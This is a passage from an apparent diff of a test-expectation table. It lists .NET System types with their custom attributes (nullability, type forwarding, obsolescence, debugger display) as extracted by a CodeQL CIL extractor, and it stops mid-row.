Internal.Runtime.CompilerServices.Unsafe | [NullableContextAttribute(...)] | 0 | 1 | +| Internal.Threading.Tasks.AsyncCausalitySupport | [NullableAttribute(...)] | 0 | 0 | +| Internal.Threading.Tasks.AsyncCausalitySupport | [NullableContextAttribute(...)] | 0 | 1 | +| System.AccessViolationException | [NullableAttribute(...)] | 0 | 0 | +| System.AccessViolationException | [NullableContextAttribute(...)] | 0 | 2 | +| System.AccessViolationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Action`4 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`4 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`5 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`5 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`6 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`6 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`7 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`7 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`8 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`8 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`9 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`9 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`10 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`10 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`11 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`11 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`12 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`12 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`13 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`13 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`14 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`14 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`15 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`15 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Action`16 | [NullableAttribute(...)] | 0 | 0 | +| System.Action`16 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Activator | [NullableAttribute(...)] | 0 | 0 | +| System.Activator | [NullableContextAttribute(...)] | 0 | 1 | +| System.AggregateException | [DebuggerDisplayAttribute(...)] | 0 | Count = {InnerExceptionCount} | +| System.AggregateException | [NullableAttribute(...)] | 0 | 0 | +| System.AggregateException | [NullableContextAttribute(...)] | 0 | 1 | +| System.AggregateException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.AggregateException System.Threading.Tasks.Task.Exception | [NullableAttribute(...)] | 0 | 2 | +| System.AppContext | [NullableAttribute(...)] | 0 | 0 | +| System.AppContext | [NullableContextAttribute(...)] | 0 | 2 | +| System.AppContext.FirstChanceException | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.AppDomain | [NullableAttribute(...)] | 0 | 0 | +| System.AppDomain | [NullableContextAttribute(...)] | 0 | 2 | +| System.AppDomain System.AppDomain.CurrentDomain | [NullableAttribute(...)] | 0 | 1 | +| System.AppDomain.FirstChanceException | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.AppDomainSetup | [NullableAttribute(...)] | 0 | 0 | +| System.AppDomainSetup | [NullableContextAttribute(...)] | 0 | 2 | +| System.AppDomainSetup System.AppDomain.SetupInformation | [NullableAttribute(...)] | 0 | 1 | +| System.ApplicationException | [NullableAttribute(...)] | 0 | 0 | +| System.ApplicationException | [NullableContextAttribute(...)] | 0 | 2 | +| System.ApplicationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ArgumentException | [NullableAttribute(...)] | 0 | 0 | +| System.ArgumentException | [NullableContextAttribute(...)] | 0 | 2 | +| System.ArgumentException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ArgumentNullException | [NullableAttribute(...)] | 0 | 0 | +| System.ArgumentNullException | [NullableContextAttribute(...)] | 0 | 2 | +| System.ArgumentNullException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ArgumentOutOfRangeException | [NullableAttribute(...)] | 0 | 0 | +| System.ArgumentOutOfRangeException | [NullableContextAttribute(...)] | 0 | 2 | +| System.ArgumentOutOfRangeException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ArithmeticException | [NullableAttribute(...)] | 0 | 0 | +| System.ArithmeticException | [NullableContextAttribute(...)] | 0 | 2 | +| System.ArithmeticException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Array | [NullableAttribute(...)] | 0 | 0 | +| System.Array | [NullableContextAttribute(...)] | 0 | 1 | +| System.Array | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ArraySegment<!0> System.ArraySegment`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.ArraySegment`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.ArraySegment`1 | [NullableAttribute(...)] | 0 | 0 | +| System.ArraySegment`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.ArraySegment`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ArraySegment`1.Enumerator | [NullableContextAttribute(...)] | 0 | 0 | +| System.ArrayTypeMismatchException | [NullableAttribute(...)] | 0 | 0 | +| System.ArrayTypeMismatchException | [NullableContextAttribute(...)] | 0 | 2 | +| System.ArrayTypeMismatchException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.AssemblyLoadEventArgs | [NullableAttribute(...)] | 0 | 0 | +| System.AssemblyLoadEventArgs | [NullableContextAttribute(...)] | 0 | 1 | +| System.Attribute | [NullableAttribute(...)] | 0 | 0 | +| System.Attribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Attribute | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.BadImageFormatException | [NullableAttribute(...)] | 0 | 0 | +| System.BadImageFormatException | [NullableContextAttribute(...)] | 0 | 2 | +| System.BadImageFormatException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.BitConverter | [NullableAttribute(...)] | 0 | 0 | +| System.BitConverter | [NullableContextAttribute(...)] | 0 | 1 | +| System.BitConverter.<>c.<>9__39_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Buffer | [NullableAttribute(...)] | 0 | 0 | +| System.Buffer | [NullableContextAttribute(...)] | 0 | 1 | +| System.Buffers.ArrayPool`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Buffers.ArrayPool`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.ByReference`1 | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.ByReference`1 | [ObsoleteAttribute(...)] | 1 | True | +| System.CannotUnloadAppDomainException | [NullableAttribute(...)] | 0 | 0 | +| System.CannotUnloadAppDomainException | [NullableContextAttribute(...)] | 0 | 2 | +| System.CannotUnloadAppDomainException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.ArrayList | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.ArrayList | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ArrayList | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.ArrayList | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.ArrayList | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.ArrayList.FixedSizeArrayList | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ArrayList.FixedSizeList | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ArrayList.IListWrapper | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ArrayList.Range | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ArrayList.ReadOnlyArrayList | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ArrayList.ReadOnlyList | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ArrayList.SyncArrayList | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ArrayList.SyncIList | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Comparer | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Comparer | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Comparer | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Concurrent.ConcurrentQueueSegment`1 | [DebuggerDisplayAttribute(...)] | 0 | Capacity = {Capacity} | +| System.Collections.Concurrent.ConcurrentQueueSegment`1.Slot | [DebuggerDisplayAttribute(...)] | 0 | Item = {Item}, SequenceNumber = {SequenceNumber} | +| System.Collections.Concurrent.ConcurrentQueue`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Concurrent.ConcurrentQueue`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Concurrent.ConcurrentQueue`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Concurrent.IProducerConsumerCollection`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Concurrent.PaddedHeadAndTail | [DebuggerDisplayAttribute(...)] | 0 | Head = {Head}, Tail = {Tail} | +| System.Collections.DictionaryEntry | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.DictionaryEntry | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.DictionaryEntry | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.EmptyReadOnlyDictionaryInternal | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Generic.ArraySortHelper`1 | [TypeDependencyAttribute(...)] | 0 | System.Collections.Generic.GenericArraySortHelper`1 | +| System.Collections.Generic.ArraySortHelper`2 | [TypeDependencyAttribute(...)] | 0 | System.Collections.Generic.GenericArraySortHelper`2 | +| System.Collections.Generic.ByteEqualityComparer | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.Comparer`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Generic.Comparer`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.Comparer`1 | [TypeDependencyAttribute(...)] | 0 | System.Collections.Generic.ObjectComparer`1 | +| System.Collections.Generic.Comparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.Dictionary<!0,!1>.KeyCollection System.Collections.Generic.Dictionary`2.Keys | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.Dictionary<!0,!1>.ValueCollection System.Collections.Generic.Dictionary`2.Values | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.Dictionary`2 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Generic.Dictionary`2 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Generic.Dictionary`2 | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Generic.Dictionary`2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.Dictionary`2 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.Dictionary`2.Enumerator | [NullableContextAttribute(...)] | 0 | 0 | +| System.Collections.Generic.Dictionary`2.KeyCollection | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Generic.Dictionary`2.KeyCollection | [NullableContextAttribute(...)] | 0 | 0 | +| System.Collections.Generic.Dictionary`2.ValueCollection | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Generic.Dictionary`2.ValueCollection | [NullableContextAttribute(...)] | 0 | 0 | +| System.Collections.Generic.EnumEqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.EqualityComparer`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Generic.EqualityComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.EqualityComparer`1 | [TypeDependencyAttribute(...)] | 0 | System.Collections.Generic.ObjectEqualityComparer`1 | +| System.Collections.Generic.EqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.GenericComparer`1 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.GenericComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.GenericComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.GenericEqualityComparer`1 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.GenericEqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.IAsyncEnumerable`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.ICollection`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.IComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.IDictionary<System.String,System.String> System.Diagnostics.Tracing.EventCommandEventArgs.Arguments | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.IDictionary`2 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Generic.IDictionary`2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.IEqualityComparer<System.String> System.Collections.Generic.NonRandomizedStringEqualityComparer.Default | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.IEqualityComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.IList<System.String> System.Runtime.CompilerServices.TupleElementNamesAttribute.TransformNames | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.IList`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Generic.IList`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.IReadOnlyDictionary`2 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Generic.IReadOnlyDictionary`2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.IReadOnlyList`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Generic.IReadOnlyList`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.ISet`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.KeyNotFoundException | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Generic.KeyNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Collections.Generic.KeyNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.KeyValuePair<!0,!1> System.Collections.Generic.Dictionary`2.Enumerator.Current | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.KeyValuePair`2 | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Generic.KeyValuePair`2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.KeyValuePair`2 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.List<!0> System.Threading.ThreadLocal`1.ValuesForDebugDisplay | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.List`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Generic.List`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Generic.List`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Generic.List`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.List`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.List`1.Enumerator | [NullableContextAttribute(...)] | 0 | 0 | +| System.Collections.Generic.NonRandomizedStringEqualityComparer | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.NonRandomizedStringEqualityComparer | [NullableContextAttribute(...)] | 0 | 2 | +| System.Collections.Generic.NullableComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.NullableEqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.ObjectComparer`1 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.ObjectComparer`1 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Collections.Generic.ObjectComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.ObjectEqualityComparer`1 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.ObjectEqualityComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Generic.ObjectEqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Generic.ValueListBuilder`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Generic.ValueListBuilder`1 | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Collections.Generic.ValueListBuilder`1 | [ObsoleteAttribute(...)] | 1 | True | +| System.Collections.Hashtable | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.Hashtable | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.Hashtable | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.Hashtable | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.Hashtable | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.Hashtable.SyncHashtable | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ICollection | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.IComparer | [NullableContextAttribute(...)] | 0 | 2 | +| System.Collections.IComparer System.Collections.Hashtable.comparer | [NullableAttribute(...)] | 0 | 2 | +| System.Collections.IComparer System.Collections.Hashtable.comparer | [ObsoleteAttribute(...)] | 0 | Please use KeyComparer properties. | +| System.Collections.IDictionary | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.IDictionary | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.IDictionary System.Exception.Data | [NullableAttribute(...)] | 0 | 1 | +| System.Collections.IDictionaryEnumerator | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.IEnumerable | [ComVisibleAttribute(...)] | 0 | True | +| System.Collections.IEnumerable | [GuidAttribute(...)] | 0 | 496B0ABE-CDEE-11d3-88E8-00902754C43A | +| System.Collections.IEnumerable | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.IEnumerator | [NullableContextAttribute(...)] | 0 | 2 | +| System.Collections.IEqualityComparer | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.IEqualityComparer System.Collections.Hashtable.EqualityComparer | [NullableAttribute(...)] | 0 | 2 | +| System.Collections.IHashCodeProvider | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.IHashCodeProvider | [ObsoleteAttribute(...)] | 0 | Please use IEqualityComparer instead. | +| System.Collections.IHashCodeProvider | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.IHashCodeProvider System.Collections.Hashtable.hcp | [NullableAttribute(...)] | 0 | 2 | +| System.Collections.IHashCodeProvider System.Collections.Hashtable.hcp | [ObsoleteAttribute(...)] | 0 | Please use EqualityComparer property. | +| System.Collections.IList | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.IList | [NullableContextAttribute(...)] | 0 | 2 | +| System.Collections.IStructuralComparable | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.IStructuralEquatable | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.KeyValuePairs | [DebuggerDisplayAttribute(...)] | 0 | {_value} | +| System.Collections.ListDictionaryInternal | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ListDictionaryInternal | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.ListDictionaryInternal | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.ListDictionaryInternal | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.ObjectModel.Collection`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.ObjectModel.Collection`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ObjectModel.Collection`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.ObjectModel.Collection`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.ObjectModel.Collection`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Collections.ObjectModel.ReadOnlyCollection<System.String> System.Diagnostics.Tracing.EventWrittenEventArgs.PayloadNames | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.ObjectModel.ReadOnlyCollection`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Collections.ObjectModel.ReadOnlyCollection`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Collections.ObjectModel.ReadOnlyCollection`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Collections.ObjectModel.ReadOnlyCollection`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Collections.ObjectModel.ReadOnlyCollection`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ComponentModel.DefaultValueAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.ComponentModel.DefaultValueAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Convert | [NullableAttribute(...)] | 0 | 0 | +| System.Convert | [NullableContextAttribute(...)] | 0 | 2 | +| System.Convert.DBNull | [NullableAttribute(...)] | 0 | 1 | +| System.CultureAwareComparer | [NullableAttribute(...)] | 0 | 0 | +| System.CultureAwareComparer | [NullableContextAttribute(...)] | 0 | 2 | +| System.CultureAwareComparer | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.CurrentSystemTimeZone | [ObsoleteAttribute(...)] | 0 | System.CurrentSystemTimeZone has been deprecated. Please investigate the use of System.TimeZoneInfo.Local instead. | +| System.DBNull | [NullableAttribute(...)] | 0 | 0 | +| System.DBNull | [NullableContextAttribute(...)] | 0 | 1 | +| System.DTSubString | [DefaultMemberAttribute(...)] | 0 | Item | +| System.DTSubString | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.DTSubString | [ObsoleteAttribute(...)] | 1 | True | +| System.DataMisalignedException | [NullableAttribute(...)] | 0 | 0 | +| System.DataMisalignedException | [NullableContextAttribute(...)] | 0 | 2 | +| System.DataMisalignedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.DateTime | [NullableAttribute(...)] | 0 | 0 | +| System.DateTime | [NullableContextAttribute(...)] | 0 | 1 | +| System.DateTime | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.DateTimeOffset | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.DateTimeResult | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.DateTimeResult | [ObsoleteAttribute(...)] | 1 | True | +| System.Delegate | [ComVisibleAttribute(...)] | 0 | True | +| System.Delegate | [NullableAttribute(...)] | 0 | 0 | +| System.Delegate | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.CodeAnalysis.NotNullIfNotNullAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [ConditionalAttribute(...)] | 0 | CODE_ANALYSIS | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.CodeAnalysis.SuppressMessageAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Diagnostics.ConditionalAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.ConditionalAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.Contract | [NullableAttribute(...)] | 0 | 0 | +| System.Diagnostics.Contracts.Contract | [NullableContextAttribute(...)] | 0 | 1 | +| System.Diagnostics.Contracts.Contract.ContractFailed | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Diagnostics.Contracts.ContractAbbreviatorAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractArgumentValidatorAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractClassAttribute | [ConditionalAttribute(...)] | 0 | CONTRACTS_FULL | +| System.Diagnostics.Contracts.ContractClassAttribute 